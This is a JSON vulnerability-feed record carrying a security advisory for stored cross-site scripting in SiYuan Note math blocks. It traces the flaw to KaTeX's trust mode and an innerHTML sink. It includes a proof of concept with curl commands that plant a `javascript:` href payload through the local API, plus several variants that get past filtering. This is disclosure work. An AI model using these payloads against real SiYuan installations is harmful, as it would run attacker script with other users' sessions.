{"schema":"threatline.record/2","record":{"id":"GHSA-hhvq-jqv9-pgjq","aliases":["GHSA-hhvq-jqv9-pgjq"],"summary":"Stored XSS via KaTeX `\\href` in SiYuan math blocks (local-kernel editor path)","details":"### Summary\r\n\r\nStored cross-site scripting in SiYuan Note. Math block content (`$$...$$`) written by any user with edit permission on a document is rendered by the block's editor path with KaTeX's `trust: true` and without HTML sanitization. KaTeX's TeX `\\href` (and `\\url`, `\\includegraphics`) rules therefore preserve a `javascript:` URL in the generated `<a href>` / `<img src>` attribute, which the application then assigns via `innerHTML`. A reader who clicks the rendered link executes attacker script in the application origin.\r\n\r\n### Details\r\n\r\nRoot cause is the trust decision for KaTeX combined with a direct `innerHTML` sink, not a generic KaTeX flaw. KaTeX's `\\href` rule is documented as emitting the URL as given when `trust` is enabled; the application opts into that mode by default on the local path.\r\n\r\nAffected source locations (commit `60a4387`):\r\n\r\n- `app/src/protyle/render/mathRender.ts:52-59` — interpretation entry:\r\n  ```ts\r\n  window.katex.renderToString(Lute.UnEscapeHTMLStr(dataContent), { trust: security.trust, ... })\r\n  ```\r\n  (KaTeX pinned to `0.16.9`, `mathRender.ts:39`, `katex.min.js?v=0.16.9`)\r\n- `app/src/protyle/render/mathRenderSecurity.ts:1-4` — trust/sanitize decision\r\n- `app/src/protyle/render/mathRender.ts:68-72` — sink: `mathElement.innerHTML = mathHTML`\r\n\r\nData flow:\r\n\r\n1. A collaborator with edit rights stores the following as math block content (`$$...$$`), through the editor or through the normal API `POST /api/block/appendBlock {\"dataType\":\"markdown\", ...}`: `$$\\href{javascript:alert('xss')}{clickme}$$`\r\n2. Lute stores it as a math block whose `data-content` holds the TeX source verbatim.\r\n3. When the document is opened, `mathRender` calls `katex.renderToString(..., { trust: true })`. KaTeX's `\\href` rule emits `<a href=\"javascript:alert('xss')\">clickme</a>`.\r\n4. The HTML is mounted with `innerHTML` into the math block container.\r\n5. The victim clicks the rendered link; the `javascript:` URL runs attacker script in the application origin (`javascript:` URLs execute only on an in-document click gesture — no click, no execution).\r\n\r\nThe rendering rule was additionally reproduced in isolation (KaTeX 0.16.9, `trust: true`) to confirm step 3; the end-to-end click was executed in a real Chromium against the running application.\r\n\r\n### Proof of concept\r\n\r\nEnvironment: Ubuntu / Docker (`b3log/siyuan:latest`, digest `sha256:d740a1d3ed6b850de3043caf02d3b41e57e0c79b69a8ce2e511588e5e76968c1`) / SiYuan 3.8.5, kernel reachable at `http://127.0.0.1:18083`.\r\n\r\n1. Plant the payload as an ordinary document editor would (only normal APIs are used):\r\n\r\n   ```bash\r\n   NB=$(curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/notebook/createNotebook \\\r\n        -H 'Content-Type: application/json' -d '{\"name\":\"xsslab\"}' \\\r\n        | python3 -c \"import json,sys;print(json.load(sys.stdin)['data']['notebook']['id'])\")\r\n\r\n   DOC=\"xss-katex-tok-manual\"\r\n   KDOC=$(curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/filetree/createDocWithMd \\\r\n        -H 'Content-Type: application/json' \\\r\n        -d \"{\\\"notebook\\\":\\\"$NB\\\",\\\"path\\\":\\\"/$DOC\\\",\\\"markdown\\\":\\\"kx\\\"}\" \\\r\n        | python3 -c \"import json,sys;print(json.load(sys.stdin)['data'])\")\r\n\r\n   TOKEN='xss_manual_p00'\r\n   python3 -c \"import json;print(json.dumps({'dataType':'markdown',\r\n     'data':\\\"\\$\\$\\\\\\\\href{javascript:alert('$TOKEN')}{clickme}\\$\\$\\\",'parentID':'$KDOC'}))\" > /tmp/b.json\r\n   curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/block/appendBlock \\\r\n        -H 'Content-Type: application/json' --data @/tmp/b.json\r\n   ```\r\n\r\n2. Open `http://127.0.0.1:18083/stage/build/desktop/` → notebook `xsslab` → document `$DOC`.\r\n3. The math block renders a `clickme` link. Clicking it shows a native alert dialog containing `xss_manual_p00`.\r\n\r\nObserved result (real Chromium run, payload rendered by the application, not by a test fixture): KaTeX output `<a href=\"javascript:alert('xss_syK1_p00')\">…</a>`, click → `alert` dialog with the per-run token, i.e. the payload of the planted block executes in the application origin.\r\n\r\nOther payload variants that survive the same rule with `trust: true` (all require the same single click): `\\href` with mixed case scheme (`JaVaScRiPt:`), `\\url{javascript:…}`, `\\includegraphics{javascript:…}` (produces `img[src=\"javascript:…\"]`).\r\n\r\nNot vulnerable / checked and safe on the same workspace: ordinary paragraph `<img onerror=…>` is stored as escaped text; `<script>` is escaped by Lute; fenced code blocks render as text nodes; HTML block `data-content` is entity-encoded and not activated; `iframe[src=\"javascript:…\"]` is emptied to `src=\"\"` by Lute.\r\n\r\n### Impact\r\n\r\nStored, so every reader of the shared document is exposed. The script runs in the application origin, so it can read the page and act with the reader's session in that origin — relevant because the desktop build's UI drives local kernel APIs. Demonstrated impact is limited to proof-of-concept execution (alert dialog); no data exfiltration was performed.","categories":["Unclassified"],"product":"siyuan","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhvq-jqv9-pgjq","source_modified_at":"2026-10-09T11:59:50Z","fetched_at":"2026-10-26T12:48:13.248886Z","package":{"ecosystem":"go","name":"siyuan"},"range":">= 2.10.0"}],"fixed_versions":[],"cvss":null,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-09T11:59:50Z","modified_at":"2026-10-09T11:59:50Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhvq-jqv9-pgjq","fetched_at":"2026-10-26T12:48:13.248886Z","source_modified_at":"2026-10-09T11:59:50Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-09T11:59:50Z","content_hash":"75937a3d2fc96a42316ac66bc71bdffb8981c4efc53c593a589efd18b381b36b"}}
